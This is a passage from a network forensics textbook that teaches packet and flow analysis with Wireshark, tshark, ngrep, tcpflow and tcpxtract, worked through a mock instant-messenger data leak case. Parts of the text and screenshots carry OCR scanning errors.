window and the corresponding bytes in the Packet Bytes window below. You can also use
Wireshark’s “Export Selected Packet Bytes” function to save the contents of the selected
field as a file that you can manipulate and analyze with other tools. Figure 4-10 shows the
AIM Message field within packet #167 of Ann’s Bad AIM.

You can also use tshark to print any or all fields defined within the protocol dissection.
Here is an example using Franck Guénichot’s Lua plugin to export all OFT details from
Frame #112, such as the OFT filename, size, and more:

$ tshark -r evidence.pcap -X lua_script:oft-tsk.lua -R "oft" -n -R frame.
number==112 -V
Frame 112 (310 bytes on wire, 310 bytes captured

Oscar File Transfer Protocol (256)
Version: OFT2
Length: 256
Type: Prompt (0x0101)
Cookie: 0000000000000000
Encryption: None (0)
Compression: None (0)
Total File(s): 1
File(s) Left: 1
Total Parts: 1
Parts Left: 1
Total Size: 12008
Size: 12008
Modification Time: O
Checksum: 0xb1640000
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Received Resource Fork Checksum: Oxffff0000
Ressource Fork: O

Creation Time: O

Resource Fork Checksum,base: Oxffff0000
Bytes Received: 0

Received Checksum: Oxfff£f0000
Identification String: Cool FileXfer

Flags: 0x00

List Name Offset: O

List Size 0Offset: O

Dummy Block: 000000000000000000000000000000000000000000000000. ..
Mac File Information:

Encoding: ASCII (0x0000)

Encoding Subcode: 0x0000

Filename: recipe.docx

The following invocation demonstrates how to use tshark to produce PDML output using
the -T option. First, we see general information and Layer 2 frame data. This is followed by
Layer 3 IP protocol details, and then higher-layer encapsulated protocol information such
as the OSCAR File Transfer Protocol information. The last field shown below is the name
of the file that was transferred using OFT. Note that the output below has been abridged
to show notable fields.

$ tshark -r evidenceOl.pcap -X lua_script:oft-tsk.lua -R "oft" -n -R frame.
number==112 -T pdml
<?xml version="1.0"7>
<pdml version="0" creator="wireshark/1.2.11">
<packet >
<proto name="geninfo" pos="0" showname="General information" size="310">
<field name="num" pos="0" show="112" showname="Number" value="70" size
="310"/>
<field name="len" pos="0" show="310" showname="Frame Length" value="136"
size="310"/>
<field name="caplen" pos="0" show="310" showname="Captured Length" value
="136" size="310"/>
<field name="timestamp" pos="0" show="Aug 12, 2009 23:58:04.206379000"
showname="Captured Time" value="1250143084.206379000" size="310"/>
</proto>

<proto name="ip" showname="Internet Protocol, Src: 192.168.1.158
(192.168.1.158), Dst: 192.168.1.159 (192.168.1.159)" size="20" pos="14">
<field name="ip.version" showname="Version: 4" size="1" pos="14" show="4"
value="45"/>
<field name="ip.hdr_len" showname="Header length: 20 bytes" size="1" pos
="14" show="20" value="45"/>

<proto name="oft" showname="Oscar File Transfer Protocol (256)" size="256"
pos="54">

<field name="oft.version" showname="Version: OFT2" size="4" pos="54" show
="0FT2" value="4f465432"/>

<field name="oft.length" showname="Length: 256" size="2" pos="58" show
="256" value="0100"/>

<field name="oft.type" showname="Type: Prompt (0x0101)" size="2" pos="60"

show="0x0101" value="0101"/>
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<field name="oft.cookie" showname="Cookie: 0000000000000000" size="8" pos
="62" show="00:00:00:00:00:00:00:00" value="0000000000000000"/>

<field name="oft.encrypt" showname="Encryption: None (0)" size="2" pos
="70" show="0" value="0000"/>

<field name="oft.compress" showname="Compression: None (0)" size="2" pos
="72" show="0" value="0000"/>

<field name="oft.totfil" showname="Total File(s): 1" size="2" pos="74"
show="1" value="0001"/>

<field name="oft.totsize" showname="Total Size: 12008" size="4" pos="82"
show="12008" value="00002ee8"/>

<field name="oft.size" showname="Size: 12008" size="4" pos="86" show
="12008" value="00002ee8"/>

<field name="oft.modtime" showname="Modification Time: 0" size="4" pos
="90" show="0" value="00000000"/>

<field name="oft.checksum" showname="Checksum: 0xb1640000" size="4" pos
="94" show="0xb1640000" value="b1640000"/>

<field name="oft.idstring" showname="Identification String: Cool FileXfer
" size="32" pos="122" show="Cool FileXfer" value="436
f6£6c2046696c655866657200000000000000000000000000000000000000"/>

<field name="oft.encoding" showname="Encoding: ASCII (0x0000)" size="2"
pos="242" show="0x0000" value="0000"/>

<field name="oft.encsubcode" showname="Encoding Subcode: 0x0000" size="2"
pos="244" show="0x0000" value="0000"/>

<field name="oft.filename" showname="Filename: recipe.docx" size="12" pos
="246" show="recipe.docx" value="7265636970652e¢646£637800"/>

</proto>
</packet >

</pdml>

To show only specific fields, such as the filename and total size, you can use tshark’s -T and
-e flags:

$ tshark -r evidence.pcap -X lua_script:oft-tsk.lua -R "oft" -n -T fields -e
"oft.filename" -e oft.totsize -R frame.number==112
recipe.docx 12008

Now we can easily see the filename (“recipe.docx”) and the file size (12,008 bytes). This
filename is especially interesting given that Anarchy-R-Us is concerned that Ann Dercover
may have leaked their secret recipe.

4.2 Packet Analysis

Packet analysis refers to the art and science of inspecting the protocols within a set of
packets. Network analysts and investigators often conduct packet analysis in order to identify
packets of interest and understand their structure and relationship to gather evidence and
facilitate further analysis.

To identify packets of interest, investigators generally use filtering techniques to isolate
packets based on protocol fields or their contents. In addition, investigators may search for
strings or patterns in packet contents to identify targets for further inspection, even if the
protocol in use is not yet known.
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Understanding the packet structure is very important for reconstructing communications,
transferred files, or any other flow-based transaction. Careful dissection of a single packet
or a small group of packets will often help investigators identify which tools are appropriate
for evidence extraction and reconstruction.

Definition: Packet Analysis

Packet Analysis—Examination of contents and/or metadata of one or more packets. Packet
analysis is typically conducted in order to identify packets of interest and develop a strategy
for flow analysis and content reconstruction.

4.2.1 Packet Analysis Tools

Packet analysis is fun! Using widely available tools, you can dissect packets and extract
all kinds of details. In this section, we talk about Wireshark/tshark display filters, which
make it easy to isolate packets of interest. We also touch on “ngrep” (one of our favorite
tools), which is essentially “grep” for packet captures. Finally, we introduce hex editors in
the context of packet analysis, and show how we can use them to manually slice and splice
packet data.

4.2.1.1 Wireshark/tshark Display Filters

Wireshark (and its command-line counterpart, tshark) includes a “display filter” language
that allows the end user to isolate packets of interest based on protocol fields.?8

According to Wireshark, there are over 105,000 display filters that users can choose
from—which is to say that there are over 105,000 protocol fields that Wireshark’s parser
understands, as it is designed to allow you to filter on any field in any protocol it can parse. 2°

As more protocol parsers are included in Wireshark, its ability to filter based on those
protocols continues to develop. Furthermore, Wireshark provides an open plugin architecture
that allows anyone to build a new protocol parser to filter with as well.

In addition to the published documentation released online by Wireshark, the graphical
Wireshark tool includes handy references for looking up display filters. You can click on the
“Expressions” button in the Filter Toolbar to access a box that will help you build a filter
of your choice (see Figure 4-11). Even more intuitively, if you identify a field of interest in
the Packet Details windows, you can right-click on it and click “Apply As Filter” to filter
using that field and its value. You can also view a list of supported protocols and display
filters by going to Help — Supported Protocols.

You can use Wireshark’s display filters from the command line in tshark using the -R
option. For example:

$ tshark -r capturefile.pcap -R "ip.src==192.168.1.158 && ip.dst==10.1.1.10"

28. “Wireshark,” http://www.wireshark.org/docs/man-pages/wireshark-filter.html.
29. “Wireshark—Display Filter Reference,” http://www.wireshark.org/docs/dfref/.
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Figure 4-11. Screenshot of the “Filter Expression” box accessed from the Filter toolbar in
Wireshark.

4.2.1.2 ngrep

Ngrep is an excellent libpcap-based tool designed for identifying packets of interest based
on the presence (or absence) of particular strings, binary sequences, or patterns anywhere
within the packet. According to the author, Jordan Ritter, ngrep is designed “to provide
most of GNU grep’s common features, applying them to the network layer.” 30

Using ngrep, you can search a set of packets for literal ASCII strings, or binary sequences
(specified in hex), that appear anywhere in a packet’s payload. It can write out the packets
that match to a separate file. It also recognizes common protocols such as IP, TCP, UDP,
and ICMP, and prints out summary details such as IP addresses and port numbers for
matching packets.

30. Jordan Ritter, “ngrep(8): network grep—Linux man page,” http://linux.die.net/man/8/ngrep.
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Ngrep doesn’t include flow reconstruction capabilities, so it inspects each packet atom-
ically for the specified match criteria. This has two important implications for forensic
investigators. First, if the matching content spans packets, ngrep will not detect it. Second,
if ngrep finds a match, it will only indicate the matching packet, rather than the matching
flow.3! Nevertheless, for a first-pass analysis or a quick dirty-word search, ngrep is invaluable;
other tools can be used to reconstruct the contents of the flows that contain the matching
packets.

Basic usage for analyzing a capture file with ngrep:

$ ngrep -I capturefile.pcap "string to search for"

The above command will search for the string “string to search for” and print out all
packets in ASCII format. To include hexadecimal format, you would add the -x flag.

Many libpcap-based tools have interfaces for specifying BPF filters, and ngrep is no
exception. The command below runs ngrep with a BPF filter designed to include only
packets with a source IP address of 192.168.1.20 and destination port 80.

$ ngrep -I capturefile.pcap "string to search for" 'src host 192.168.1.20 and
dst port 80'

For more information, see the excellent examples Jordan Ritter provides for the use of
his tool.??

4.2.1.3 Hex Editors

Hex editors allow you to view and modify the raw bits of data including packet capture
contents. Although you can use tools such as tcpdump and Wireshark to view the raw bits
of specific packets and protocol fields, hex editors are indispensible for analysis and isolation
of packet fragments and file carving (which we discuss later in this chapter).

Sometimes tools like Wireshark, Network Miner, and tcpxtract can automatically export
files and events for you with little effort, but not always. There are times when the only
way to reconstruct data is with manual effort, reading the protocol specification, extracting
data, and rebuilding content by hand.

For example, sometimes the higher-layer protocol used for transmission is not recognized
by a forensic analysis tool. The tool Loki tunnels data over ICMP, but common protocol
dissectors are not designed to recognize the Loki tunneling protocol, correctly interpret
the tunneled data, and reconstruct such data streams. Other times, an additional layer of
complexity may prevent a tool from automatically extracting evidence. For instance, HTTP
servers sometimes compress content using algorithms such as gzip. Forensic analysis tools
often cannot “see” inside the compressed data to extract images or content that would
have been viewed by the end-user. Instead, the forensic investigator may need to manually
recognize that the content is compressed and use an alternate tool to carve and decompress
the data.

Find a hex editor that you feel comfortable with (such as the nice GUI tool “Bless”) and
become proficient with it.

31. Jordan Ritter, “ngrep—network grep,” November 18, 2006, http://ngrep.sourceforge.net.
32. “ngrep—network grep,” February 10, 2005, http://ngrep.sourceforge.net/usage.html.
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Figure 4-12. Screenshot of the Bless hex editor.

Figure 4-12 shows an example of the hex editor “Bless.” In this example, we've used
Bless to open a PDF file. Bless is a powerful and easy-to-use hex editor. You can search for
binary or strings in the file. Here we searched for the string “PDF,” which we find at byte
offset 0x01 through 0x03 (see the bottom right panel). The “magic number” “0x25504446,”
or “%PDE” in ASCII, indicates the beginning of a PDF document. Using our hex editor,
we can modify, add, or delete sections of the file.

4.2.2 Packet Analysis Techniques

There are three basic techniques that are indispensible when conducting packet analysis:

e Pattern Matching—Identify packets of interest by matching specific values within
the packet capture.

e Parsing Protocol Fields—Extract the contents of protocol fields.

e Packet Filtering—Separate packets based on the values of fields in protocol meta-
data.

While there are certainly other packet analysis techniques, these three are fundamental
and incorporated into nearly every investigation that involves packet analysis.
4.2.2.1 Pattern Matching

Is Ann Dercover really a secret agent? Did she export Anarchy-R-Us’s secret recipe? We've
analyzed the packet capture of her activities and discovered that the AIM protocols were in
use, and that a file may have been transferred. This doesn’t bode well for Anarchy-R-Us!
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Let’s quickly search the packet capture for strings or patterns of interest to us. In hard
drive forensics, it is common to do a “dirty word search” when searching for data of interest
on the hard drive. A “dirty word list” is a list of strings, names, patterns, etc., that may be
related to the suspicious activities under investigation. Network forensic investigators can
leverage the concept of a “dirty word list” to identify packets or data of interest within a
network traffic capture.

“Ngrep” is one of the best tools for launching a dirty word search on a packet capture.
Let’s use it to examine Ann’s Bad AIM packet capture.

First, we’ll create a short list of “dirty words” that are of interest to us. Given the context
of the investigation, let’s include:

e recipe
e secret
e Ann

Next, let’s use these dirty words in a regular expression as the input to ngrep, and print
packets that match:

$ ngrep -I evidenceOl.pcap 'secret|recipe|Ann'
input: evidenceOl.pcap
match: secret|recipelAnn

HEBHRHARFRHARHSHRA
T 192.168.1.158:51128 -> 64.12.24.50:443 [AP]
Foi@. .o E4628778....Secbb8userl......... ... ... ..... Here 's the secret
recipe... I just downloaded it from the file server. Jus

t copy to a thumb drive and you're good to go &gt;:-)....
HARHHRH AR B BHHBHE R B AR AR B R B R B R B RS BB E R R R R R R B RSB H SRR SRR R RS H
T 192.168.1.158:51128 -> 64.12.24.50:443 [AP]

o CLZuiinn G7174647....Secbb8userl....... R..7174647..F.CL...."DEST
....................... F.........."...........recipe.docx.
HAERHBHARBRRARARRAS
T 192.168.1.158:5190 -> 192.168.1.159:1272 [AP]
OF T2 . o e e Ao Cool
FileXfer.. ... ..o ittt ieieneiainnnesanensanaanas

H##H##
T 192.168.1.159:1272 -> 192.168.1.158:5190 [AP]
OFT2....7174647 .. . . i iii e A Cool
FileXfer ... . e e
............................................................ recipe.docx
HERFHHARFRAARARS
T 192.168.1.159:1272 -> 192.168.1.158:5190 [AP]
OFT2. ... 7174647 .. .ottt iii e Ao d..Cool
FileXfer ... .. e

HUBHHARHH AR HHARH B AR AR BAARH BB R B AR HHBABH B R AR HBA R R BB HH B AR H BB AR H AR R BB RS HH
exit
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In the output above, we see a snippet of a conversation indicating “Here’s the
secret recipe.” Very interesting! The source IP address of the packet containing this snip-
pet of conversation was “192.168.1.158” (known to be Ann’s computer) and the destina-
tion was “64.12.24.50.” Subsequently, we see strings associated with an OFT2 file transfer
(“recipe.docx”). The destination IP address of the OFT2 file transfer is a system on the
local network, 192.168.1.159, but the source is still the same: Ann’s computer.

4.2.2.2 Parsing Protocol Fields

Parsing protocol fields is the practice of extracting the contents of protocol fields within
packets of interest. Let’s use tshark to extract all the AIM message data from this packet
capture. Perhaps we will see other interesting conversation snippets.

$ tshark -r evidenceOl.pcap -d tcp.port==443,aim -T fields -n -e "aim.
messageblock.message"

Here's the secret recipe... I just downloaded it from the file server. Just
copy to a thumb drive and you're good to go &gt;:-)

<HTML ><BODY><FONT FACE=\"Arial\" SIZE=2 COLOR=#000000>thanks dude</FONT></
BODY ></HTML >

<HTML ><BODY><FONT FACE=\"Arial\" SIZE=2 COLOR=#000000>can 't wait to sell it
on ebay</FONT></BODY></HTML >

see you in hawaii!

Fascinating! It appears from this conversation that the recipient of the file is planning
on selling it on eBay, and that the two are planning a rendezvous in Hawaii.

4.2.2.3 Packet Filtering

Packet filtering is the art of separating packets based on the values of fields in protocol
metadata or payload. Commonly, investigators filter packets using either BPF filters or
Wireshark display filters. We demonstrate each of these in turn.

Filtering with BPF FEarlier we identified two hosts, 192.168.1.58 (Ann’s computer) and
64.12.24.50 (likely an AOL AIM server), that contained an interesting conversation snippet,
“Here’s the secret recipe ...”. We subsequently found other conversation snippets in the
same packet capture.

To reduce the volume of traffic that we have to inspect, let’s use tcpdump with a BPF
filter to dump out all packets between the same source and destination IP address as the
first suspicious conversation snippet that we found.

$ tcpdump -s O -r evidenceOl.pcap -w evidenceOl-talkers.pcap 'host
64.12.24.50 and host 192.168.1.158"
Reading from file evidenceOl.pcap, link-type EN1OMB (Ethernet)

Wireshark Display Filters Let’s open this filtered packet capture (evidence0l-talkers.pcap)
in Wireshark and see if we can get more information about the context of this conversation.
As shown in Figure 4-13, we only have to browse to Frame 3 to see something we’ve seen
before: cleartext traffic on port 443. We can also see that the Packet Bytes window displays
the message containing “Here’s the secret recipe ...”. Just as before, we can identify the
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No..| Time Source Destinatlon Protocol |Inf0
1 23:57:22, 192.168.1.158 64.12.24.50 ATM Keep Alive
s HET G4.12.24.50 192.168.1.158 TCP https = 51128 [ACK] Seq-132
3 3461 192.168.1.158 64.12.24.50 v ing y ying, Oulgoln
4 23:57:37. 64.12.24.350 192.168.1.158 TCP https > 51128 [ACK] Seg=132
S 23:57:37. 192.168.1.1S58 64.12.24.50 AIM Messaging AIM Messaging, Mini Typing
6 73:57:37. B4.12.24.50 192.168.1. 158 TP https > 51128 [ACK] Seq=132
7 23:57:37. 64.12.24.50 192.168.1.158 AIM Generic AIM Generic, Rate Change
8 23:57:37. 64.12.24.50 192.168.1.158 AIM Messaging AIM Messaging, Acknowledge
© 23:57:37.178260 192.168.1.158 64.12.24.50 TCP 51128 > https [ACK] Seq-g262
10 23:57:37.178204 152.168.1.158 64.12.24.50 TCP 51128 = https [ACK] Seq=862
11 23:58:01.610263 1592.168.1.158 64.12.24.50 AIM Messaging AIM Messaging, Outgoing to:
12 23:58:01.613351 G4.12.24.50 192.168.1.158 TCP https = 51128 [ACK] Seq-132
13 23:58:01.720200 64.12.24.50 192.168.1.158 AIM Generic AIM Generic, Rale change

14 23:58:01.721211 192.168.1.158 64.12.24.50 TCP 51128 = https [ACK] Seq=862

b Ethernel II, Src: HewlellP 45:ad:bb (00:12:79:45:a4:bb), Dst: Viware bo:8d:62 (00:0c:29:bo:
b Internet Protocol, Src: 192.168.1.158 (192.168.1.158), Dst: 64.12.24.50 (64.12.24.50)
b Transmission Control Protocol, Src Port: 51128 (51128), Dst Port: https (443), Seq: 8627043
= A0l Tnstant Messenger

Command Start: Ox2a

Channel LD: SNAC Data (Oxu2)

Sequence Mumber: 97

fata Fiald 1 annth-

@

. Iy
ownl oaded 1t
h e file
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d to go &gt;:
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Figure 4-13. The filtered packet capture, evidenceOl-talkers.png, opened in Wireshark. The
traffic relating to TCP port 443 has been decoded as AIM.

protocols in use and manually configure Wireshark to decode this packet as AIM traffic with
the “Decode As ...” feature (see Figure 4-8).

In order to negotiate an OFT file transfer, the sender’s AIM client begins listening for
direct connections on a specific port and sends a channel 2 ICBM packet to the AOL server.
This packet contains the port and IP address to which the remote peer should connect to
receive the file.

Let’s use Wireshark’s display filters to search for channel 2 ICBM packets to see if we can
find the packet that contains the file transfer negotiation details. This will allow us to link
the conversation snippet, “Here’s the secret recipe ...” to an actual file transfer between
two direct peers.

Figure 4-14 shows the display filter, aim_messaging.channelid==0x0002, which picks out
ICBM channel 2 messages. After applying this filter, three packets are displayed. The first
packet in the list shows the string “recipe.docx” in the Packet Bytes window. Suspicious!

In Figure 4-15, we scroll down in the Packet Details window to show the inbound IP
address (192.168.1.158) and port (TCP port 5190) offered by the initiating client. If the
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Filter: Iaim_messaging.channelid == 0x0002 Vl Expression. .. | Clea[l Apply
Source Destination

11 39.587870 192.168.1.158 64.12.24.50 AIM Messaging AIM Messag
15 39.700370 64.12.24.50 192.168.1.158 AIM Messaging AIM Messag
17 42.416576 64.12.24.50 192.168.1.158 AIM Messaging AIM Messag

b Frame 11 (182 bytes on wire, 182 bytes captured)
b Ethernet II, Src: HewlettP_4S:a4:bb (00:12:79:45:a4:bb), Dst: Vmware_b0:8d:62 (00:0c::
b Internet Protocol, Src: 192.168.1.158 (192.168.1.158), Dst: 64.12.24.50 (64.12.24.50)
b Transmission Control Protocol, Src Port: 51128 (51128), Dst Port: https (443), Seq: 8
= AOL Instant Messcnger

Command Start: Ox2a

Channel ID: SNAC Data (0x02)

Sequence Number: 99

Data Field Length: 122

b FNAC: Family: AIM Messaging (0x0001), Subtype: Outgoing (0x0008)

= AIM Messaging, Outgolng
ICBM Cookile: 3731373436343700
Message Channel ID: Ox0002

= oo - o - Ty
D010 0D a8 ab 40 40 00 40 056 74 8b cO a8 01 9e 40 Oc RPN 1 P TR @.
0020 18 32 c7 b8 01 bb 33 6b d3 ae 07 e9 61 d2 50 18 .2....3k LLLLalP.
0030 f5 16 df ob 0D 00 2a 02 00 63 00 7a 00 O4 00 06 B LT
0040 00 00 00 00 00 47 37 31 37 34 36 34 37 00 [geer ..... G71 74647..

Figure 4-14. A screenshot of Wireshark with a display filter that selects AIM ICBM channel
2 messages.

file transfer is accepted by the remote peer, we should expect to see a subsequent direct
connection from the remote peer’s IP address to the IP address and port specified in this
packet. (Later, in Section 4.3.2, we will see that this direct connection does exist, and we
will analyze it.) This packet is what links the AIM conversation, transmitted through AOL’s
servers, to a subsequent direct OF T file transfer between two peers.

4.3 Flow Analysis

Flow analysis is the practice of examining related groups of packets in order to identify pat-
terns, analyze higher-layer protocols, or extract data. Once you have identified the protocols
in use and of interest and studied them, you will likely want to reconstruct sequences of
events and recover original data from them. With some well-known higher-layer protocols,
such as HTTP, there are many tools that can do this automatically. With other protocols—
especially those that have been bent or broken—you may have to do your own independent
analysis, and perhaps even write some code to extract the data.



104 Chapter 4 Packet Analysis

Filter: ||aim_messaging.channelid::OxOOOZ ¥ | Expression... | Clea[| AppLy|

MNo. . Time Source Destination Protocol InFo
11 39.587870 192.168.1.158 64.12.24.50 AIM Messaging AIM Messag
15 39.700370 64.12.24.50 192.168.1.158 AIM Messaging AIM Messag
17 42.416576 64.12.24.50 192.168.1.158 AIM Messaging AIM Messag

Value 1D: Rendez Vous Data (0x0005)
Length: 82
= Value
Message Type: Reguest (0x0000)
ICBM Cookle: 3731373436343700
Send File {00461343-4c7f-11d1-8222- 444553540000}
= TLV: Rendezvous IP
Value ID: Rendezvous IP (0x0002)
Length: 4
value: 192.168.1.158
= TLV: Internal IP
value ID: Internal IP (Ox0003)
Length: 4
Value: 192.188.1.158
= TLV: External Port
Value ID: External Port (0x000S)
Length: 2

= TLV: Sequence Number

mliim TR Commiimmen L T S i o TP T T P |
0050 00 04 cO a8 Ol O 00 03 00 04 cO a8 01 Oe 00 05 -.....-: --------
ooso oo oz fEREE oo 0a 00 02 00 01 00 Of 00 00 27 11 .. ..
0020 00 14 00 01 00 01 00 00 2e eB 72 65 63 69 70 65  ........ ..recipe
oobo  2e 64 6f 63 78 00 .docx.

Figure 4-15. A screenshot of Wireshark displaying the IP address and port offered by the
sender for an OFT file transfer.

Definition: Flow Analysis

Flow analysis—Examination of sequences of related packets (“flows”). Flow analysis is typ-
ically conducted in order to identify traffic patterns, isolate suspicious activity, analyze
higher-layer protocols, or extract data.

As the networking industry evolves, so too has the use of the term “flow.” Increasingly,
the term “flow analysis” in certain contexts has been used to refer to statistical analysis of
flow records or flow metadata. We discuss flow statistics extensively in the next chapter.
In this chapter, we focus on the analysis of the full flow content rather than simply the
metadata.

The term “stream” is increasingly used interchangably with “flow” in common parlance,
particularly where data segment reassembly and subsequent content analysis are the main
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goals (as opposed to the statistical analysis of the sequence of segments or packets involved).
In particular, Marty Roesch’s labeling of Snort’s flow reassembly processing module as
“Stream” (which originally only processed TCP flows, but which now has evolved to handle
flows over UDP as well) led to much of the IDS community referring to such methods
as “stream reassembly.” Similarly, Wireshark’s “Follow TCP Stream” function has been
augmented by “Follow UDP Stream” and “Follow SSL Stream.” We use the term “stream”
in all of these contexts throughout this book.

Definition: Flow

In RFC 3679, a “flow” is defined as “a sequence of packets sent from a particular source
to a particular unicast, anycast, or multicast destination that the source desires to label
as a flow. A flow could consist of all packets in a specific transport connection or a media
stream. However, a flow is not necessarily 1:1 mapped to a transport connection.” For
practical purposes, identifying all of the TCP segments that compromise a flow can be done
strictly within the TCP protocol itself at Layer 4 because the TCP protocol has built-
in mechanisms to provide this accounting for the purposes of reliability, flow control, and
state maintenence. Flows can be constructed upon other transport-layer protocols, including
UDP, which is a connectionless protocol and provides no comparable mechanisms to track
or define flows. As implied by RFC 3679, if an endpoint “desires” to define a flow, the flow
itself will be defined by some protocol that manages connection establishment, maintenence,
and completion. Likewise, an intermediary system (such as a switch, router, or firewall) can
be configured to track and define flows.

Regardless of whether traffic is transmitted via TCP, a specific flow is defined by some
protocol that establishes the connection, keeps track of the data segments sent or received,
and terminates the connection when appropriate.

4.3.1 Flow Analysis Tools

There are several popular tools available that are capable of isolating, reconstructing, and
exporting flows. These include Wireshark, tshark, tcpflow, and pcapcat. The tcpxtract tool
takes flow reconstruction to the next level, and automatically carves files out of TCP streams
using magic numbers. We discuss each of these tools below.

4.3.1.1 Wireshark: Follow TCP Stream

Wireshark has a function called “Follow TCP Stream” (shown in Figure 4-16) which allows
you to select any packet that is part of a TCP stream in the Packet List view, and have
Wireshark automatically reconstruct the full duplex contents of that stream from beginning
to end if it is contained within the packet capture. Those contents can then be saved in
different forms. Either side of the conversation can be saved independently. In that way,
conversations, transactions, and file transfers that span multiple packets in a stream can be
reconstructed in their entirety, as long as the packet capture contains all the necessary data.
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Fle Edit View Go Capture Analyze Statistics Help
e SGrEHeR & FF LB

||z]£ilter: |{ip.src == 208.115.194.112 ) && (tcp.srcport == 80) | ~ || o Expression... j?glear

MNo. Time . Source Destination Protocol | Info

2 0.072329 208. TCP http = pet
10 0.760279 208, _ Mark Packet (toggle) TCP httg > Ec:
14 1.136806 =pg. () Set Time Reference (toggle) Tcp http > pct
23 1.875732 208. ) TCP http = pet
27 2.214776 208,  APPly asFilter > TCP http > pc
43 2.881745 208. Prepare a Filter > TCP http = pct
51 3.284998 208,  conversation Filter > TcP http > pc
A7 3 aERAAR =] . . Tro hrtn = mer

b Frame 2 (198 bytes on Colorize Conversation >

b Ethernet II, Src: 80: c), Dst: f4:45:ba:65:15:d6

b Internet Protocol, 5r1| Follow TCR Stream |112), Dst: 128.3.112.174 (I

g

< Transmission Control | Ist Port: pconnectmgr (1562

Source port: http (

0000 14 45 ba 65 15 d6 E.€.rv. 2ia...E.
0010 00 b8 33 62 40 00 Copy > ..3b@.s. PH.s.p..
0020 70 ae 00 SO 06 la | P..PSe eas.. P.
0030 42 f4 Sc f5 00 00 | ‘2 Decode As... B.\...

4= Print...

Show Packet in New Window

Figure 4—16. An example of Wireshark's “Follow TCP Stream” function.

Figure 4-17 is a screenshot of Wireshark’s “Follow TCP Stream” feature used to recon-
struct and display both sides of a TCP stream (dark gray text represents traffic flowing
in one direction, and light gray is the other direction). Notice the long button across the
bottom, which allows you to select “Entire Conversation” or only one direction. You can
also view in ASCII, Hex, Raw, or other formats.

The “Follow TCP Stream” feature is one of the features of the graphical Wireshark
interface that does not currently have a corresponding command-line option in tshark as of
the time this was written.

4.3.1.2 Conversations in Wireshark and tshark

Wireshark and tshark define a term, “conversation,” which is similar to a flow. According to
the published Wireshark manual, “A network conversation is the traffic between two specific
endpoints.”33

33. “8.4.Conversations,” Wireshark, 2011, http://www.wireshark.org/docs/wsug_-html_chunked/
ChStatConversations.html.
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Figure 4-17. Wireshark’'s “Follow TCP Stream” function in action. The dark gray text rep-
resents traffic flowing in one direction, whereas the light gray text represents traffic flowing in
the opposite direction. (In real life these colors were pink and blue, respectively; the image was
modified to print in grayscale.)

Both Wireshark and tshark provide support for displaying statistics for different types
of conversations in the packet capture, including IP, TCP, and UDP conversations.

43.1.3 tcpflow

The quintessential command-line tool for extracting the data from TCP streams is “tcpflow.”
Originally released by Jeremy Elson in 1999, tcpflow can parse nonfragmented IP packets
and reassemble and extract the payloads of any TCP stream it finds in a libpcap packet
capture. In that way its output is similar to Wireshark’s “Follow TCP Stream” function,
but it extracts all the streams in one fell swoop, saving their contents to files identified by
the quartet of socket elements: source IP and port and destination IP and port.3*

4.3.1.4 pcapcat

A more recent and similarly useful tool is pcapcat by Kristinn Gudjénsson. Released in
September 2009 as part of his winning entry in the inaugural ForensicsContest.com contest, >’
pcapcat is a perl script that by default reads a libpcap capture and lists all of the streams
it sees. It allows for interactive analysis and can also dump out individual streams upon

selection.?6

34. Jeremy Elson, “CircleMUD,” August 7, 2003, http://www.circlemud.org/ jelson/software/tcpflow/.

35. Kristinn Gudjénsson, “Forensics Contest,” August 14, 2009, http://forensicscontest.com/contest01/
Finalists/Kristinn_Gudjonsson/answer.txt.

36. Kristinn Gudjénsson, “pcapcat,” 2009, http://blog.kiddaland.net/dw /pcapcat.


http://www.circlemud.org/jelson/software/tcpflow/
http://forensicscontest.com/contest01/Finalists/Kristinn_Gudjonsson/answer.txt
http://forensicscontest.com/contest01/Finalists/Kristinn_Gudjonsson/answer.txt
http://blog.kiddaland.net/dw/pcapcat
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Magic Numbers

Just as most protocols can be identified by well-known sequences of bytes near the zero offset
(as discussed above), almost all file formats have “headers” that lead with a few identifying
bytes that can be catalogued. Many have common terminating sequences, or “footers,”
as well.

These are often referred to as “magic numbers,” and if they can be catalogued they can
be searched for in any arbitrary volume of bytes. The filesystem forensics tool “Foremost”
takes exactly this approach. Upon finding an instance of a magic number, it begins carving
contiguous data bytes until a preconfigured limit is reached, or the footer for the file (if any
is specified) is encountered. This data is saved to a file with the appropriate file extension
appended to the name.?7

4.3.1.5 tcpxtract

Tcpxtract may be one of the coolest tools for the network forensic analyst. Released in
the public domain in 2005 by Nick Harbour, tcpxtract is a libpcap-based tool designed
specifically to extract and reconstruct payload data based on file signatures. Analogous to
“foremost” for data-layer recovery from filesystem images, tcpxtract inspects reconstructed
TCP streams for the beginning sequences of file formats that it knows about and carves the
corresponding data out of the packets, to the extent that it is able. It has a configuration file
that is very similar to foremost’s (and comes with a script to convert foremost configuration
files to the format used by tcpxtract).®®
Here’s a snippet of a configuration file:

# AOL ART files

art (150000, \x4a\x47\x04\x0e, \xcf\xc7\xchb);

art (150000,\x4a\x47\x03\x0e, \xd0O\xcb\x00\x00);

# GIF and JPG files (very common)

gif (3000000, \x47\x49\x46\x38\x37\x61, \x00\x3b);
gif (3000000, \x47\x49\x46\x38\x39\x61, \x00\x00\x3b);
jpg (1000000, \xff\xd8\xff\xe0\x00\x10, \xff\xd9);
jpg (1000000, \xff\xd8\xff\xel);

jpg (1000000, \xff\xd8\xff\xe0);

# PNG (used in web pages)

png (1000000, \x50\x4e\x47\7, \xff\xfc\xfd\xfe);

A format variant is described on each line. The first parameter is the number of bytes
to carve before giving up on trying to find the end sequence, if one is provided. The second
parameter is the hexadecimal sequence that, upon discovery, triggers the carving of what is

37. “Foremost,” March 1, 2010, http://foremost.sourceforge.net/.
38. Nick Harbour, “tcpxtract,” October 13, 2005, http://tcpxtract.sourceforge.net/.
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assumed to be data corresponding to the file type names. The third, optional parameter is
the byte sequence that the file format uses to signal “end of file” (EOF), if one is known to
exist.

Basic usage for analyzing a capture file:

$ tcpxtract -f capturefile.pcap

This will extract all recognizable files from the packet capture. You can also specify an
output directory:

$ tcpxtract -f capturefile.pcap -o output_dir/

4.3.2 Flow Analysis Techniques
Basic flow analysis techniques include:

e List conversations and flows—List all conversations and/or flows within a packet
capture, or only specific flows based on their characteristics.

e Export a flow—Isolate a flow, or multiple flows, and store the flow(s) of interest to
disk for further analysis.

e File and data carving—Extract files or other data of interest from the reassembled
flow.

We discuss each of these, and show examples, in the sections below.

4.3.2.1 List Conversations

Continuing with the Ann’s Bad AIM case, we know from packet analysis that the AIM

client at 192.168.1.158 initiated a file transfer on port 5190 in order to transfer the file

